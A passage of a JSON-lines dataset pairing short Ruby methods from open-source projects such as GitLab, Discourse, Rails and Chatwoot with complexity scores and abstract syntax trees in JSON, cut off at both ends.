end","complexity_score":31.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_HOST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"API host url for Sentry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"https://app.getsentry.com/api/0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_API_KEY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"API key for Sentry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"auth_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_AUTH_TOKEN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Authentication token for Sentry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"org_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_ORG_SLUG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Organization slug for Sentry project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No organization slug for SentryAction given, pass using `org_slug: 'org'`\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"project_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_PROJECT_SLUG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Project slug for Sentry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No project slug for SentryAction given, pass using `project_slug: 'project'`\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"dsym_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_DSYM_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to your symbols file. For iOS and Mac provide path to app.dSYM.zip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_OUTPUT_PATH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"dsym_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SENTRY_DSYM_PATHS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to an array of your symbols file. For iOS and Mac provide path to app.dSYM.zip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_PATHS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"98867dad-e28b-49f4-b7d6-4f70f64043c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/check_constraint_test.rb","start_line":119,"raw_source":"def test_add_check_constraint_with_if_not_exists_options\n          @connection.add_check_constraint :trades, \"quantity > 0\"\n\n          assert_nothing_raised do\n            @connection.add_check_constraint :trades, \"quantity > 0\", if_not_exists: true\n          end\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_check_constraint_with_if_not_exists_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"trades\"]},{\"type\":\"str\",\"children\":[\"quantity > 0\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"trades\"]},{\"type\":\"str\",\"children\":[\"quantity > 0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e3317186-8717-45ca-9457-4f0b496a9b92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/project_error_tracking_setting.rb","start_line":244,"raw_source":"def project_name_from_slug\n      @project_name_from_slug ||= project_slug_from_api_url&.titleize\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"project_name_from_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_name_from_slug\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_slug_from_api_url\"]},\"titleize\"]}]}]}","id":"78471599-3d1b-411c-bd33-1ef7448ad137"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/position.rb","start_line":137,"raw_source":"def diff_options\n        { paths: paths, expanded: true, include_stats: false, ignore_whitespace_change: ignore_whitespace_change }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paths\"]},{\"type\":\"send\",\"children\":[null,\"paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expanded\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_stats\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_whitespace_change\"]},{\"type\":\"send\",\"children\":[null,\"ignore_whitespace_change\"]}]}]}]}","id":"8d43097c-8820-4d4a-bb69-1b76c221f570"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":329,"raw_source":"def publish_event\n      event = ::Projects::ProjectTransferedEvent.new(data: {\n        project_id: project.id,\n        old_namespace_id: old_namespace.id,\n        old_root_namespace_id: old_namespace.root_ancestor.id,\n        new_namespace_id: new_namespace.id,\n        new_root_namespace_id: new_namespace.root_ancestor.id\n      })\n\n      Gitlab::EventStore.publish(event)\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ProjectTransferedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_root_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_namespace\"]},\"root_ancestor\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_root_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_namespace\"]},\"root_ancestor\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"c15a50b7-d974-4c35-99fb-45eaffbb719d"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/exports_controller.rb","start_line":9,"raw_source":"def index\n    @exports = current_user.exports.order(created_at: :desc).page(params[:page])\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@exports\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"exports\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}","id":"ceb53292-4902-4779-86f3-b02ac8a07aa3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/gitaly_keyset_pager.rb","start_line":31,"raw_source":"def no_pagination?(finder)\n        params[:pagination] == 'none' && finder.is_a?(::Repositories::TreeFinder)\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"no_pagination?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pagination\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"TreeFinder\"]}]}]}]}","id":"89f7dcb0-2ad4-4b0a-9c76-2116bf11ac36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/loose_foreign_keys_slis.rb","start_line":16,"raw_source":"def record_apdex(success:, db_config_name:)\n          Gitlab::Metrics::Sli::Apdex[:loose_foreign_key_clean_ups].increment(\n            labels: labels(db_config_name),\n            success: success\n          )\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"record_apdex\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"success\"]},{\"type\":\"kwarg\",\"children\":[\"db_config_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"Apdex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"loose_foreign_key_clean_ups\"]}]},\"increment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"send\",\"children\":[null,\"labels\",{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}]}]}","id":"263737a5-c06a-44cb-9aa6-4150bcc796ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/twitter_status_onebox.rb","start_line":168,"raw_source":"def quoted_text\n        quoted_tweet[:text] if twitter_api_credentials_present? && quoted_tweet.present?\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"quoted_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"twitter_api_credentials_present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_tweet\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_tweet\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},null]}]}","id":"4746532d-2b8a-4e2f-a59d-1282c2905a87"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/requests/api/backups_spec.rb","start_line":18,"raw_source":"def backup_path(filename)\n    File.join(BackupRestore::LocalBackupStore.base_directory, filename)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupRestore\"]},\"LocalBackupStore\"]},\"base_directory\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}","id":"64c84819-b983-4d8a-aa69-fd5e603d0095"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":25,"raw_source":"def update\n    ActiveRecord::Base.transaction do\n      @macro.update!(macros_with_user)\n      @macro.set_visibility(current_user, permitted_params)\n      process_attachments\n      @macro.save!\n    rescue StandardError => e\n      Rails.logger.error e\n      render json: { error: @macro.errors.messages }.to_json, status: :unprocessable_entity\n    end\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"macros_with_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"set_visibility\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]},{\"type\":\"send\",\"children\":[null,\"process_attachments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"save!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"errors\"]},\"messages\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]},null]}]}]}","id":"f217e242-9a3e-49dd-bbe6-88ee56932780"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/shellout.rb","start_line":77,"raw_source":"def mask_secrets_on_string(str, secrets)\n        secrets.reduce(str) { |s, secret| s.gsub(secret, '****') }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"mask_secrets_on_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"secrets\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secrets\"]},\"reduce\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]},{\"type\":\"arg\",\"children\":[\"secret\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"str\",\"children\":[\"****\"]}]}]}]}","id":"43165389-deb2-469c-bee3-0d66fc88ade3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations_controller.rb","start_line":151,"raw_source":"def set_conversation_status\n    @conversation.status = params[:status]\n    @conversation.snoozed_until = parse_date_time(params[:snoozed_until].to_s) if params[:snoozed_until]\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_conversation_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"status=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snoozed_until\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"snoozed_until=\",{\"type\":\"send\",\"children\":[null,\"parse_date_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snoozed_until\"]}]},\"to_s\"]}]}]},null]}]}]}","id":"80c04892-5312-46d7-b4bc-41f401df8eb3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_web_hook_events.rb","start_line":15,"raw_source":"def click_filter_delivered\n        find(\".select-kit-row\", text: \"Delivered\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_filter_delivered\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".select-kit-row\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Delivered\"]}]}]}]},\"click\"]}]}","id":"a5e64b07-d414-4b87-aafa-aaaef661662f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/dedup_notification_group_serializer.rb","start_line":19,"raw_source":"def return_partial_accounts?\n    instance_options[:expand_accounts] == 'partial_avatars'\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"return_partial_accounts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expand_accounts\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"partial_avatars\"]}]}]}","id":"dea8bda8-7b31-460d-acd7-5abddda83973"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/pipeline_worker.rb","start_line":135,"raw_source":"def logger\n      @logger ||= Logger.build.with_tracker(pipeline_tracker)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"build\"]},\"with_tracker\",{\"type\":\"send\",\"children\":[null,\"pipeline_tracker\"]}]}]}]}","id":"7ecf658e-b580-4bf0-a562-380342c032ba"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/settings/general/show_component.rb","start_line":41,"raw_source":"def initialize(project:, current_user:)\n          super()\n\n          @project = project\n          @current_user = current_user\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"b0b31838-81e4-4706-aeef-6e645af60c9d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_thread.rb","start_line":120,"raw_source":"def expand_message_actions(message)\n        hover_message(message)\n        click_more_button\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_message_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hover_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"click_more_button\"]}]}]}","id":"b9fd8e9f-c39c-45ff-a7a3-4756bd7ff5d3"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/prefetch_associations_test.rb","start_line":9,"raw_source":"def setup\n      super\n      @bob = Item.create!(title: \"bob\")\n      @joe = Item.create!(title: \"joe\")\n      @fred = Item.create!(title: \"fred\")\n      attr_string = \"created_at:datetime,id:integer,item_id:integer,title:string,updated_at:datetime\"\n      @bob_blob_key = \"#{NAMESPACE}blob:Item:#{cache_hash(attr_string)}:1\"\n      @joe_blob_key = \"#{NAMESPACE}blob:Item:#{cache_hash(attr_string)}:2\"\n      @fred_blob_key = \"#{NAMESPACE}blob:Item:#{cache_hash(attr_string)}:3\"\n      @tenth_blob_key = \"#{NAMESPACE}blob:Item:#{cache_hash(attr_string)}:10\"\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@bob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@joe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"joe\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fred\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"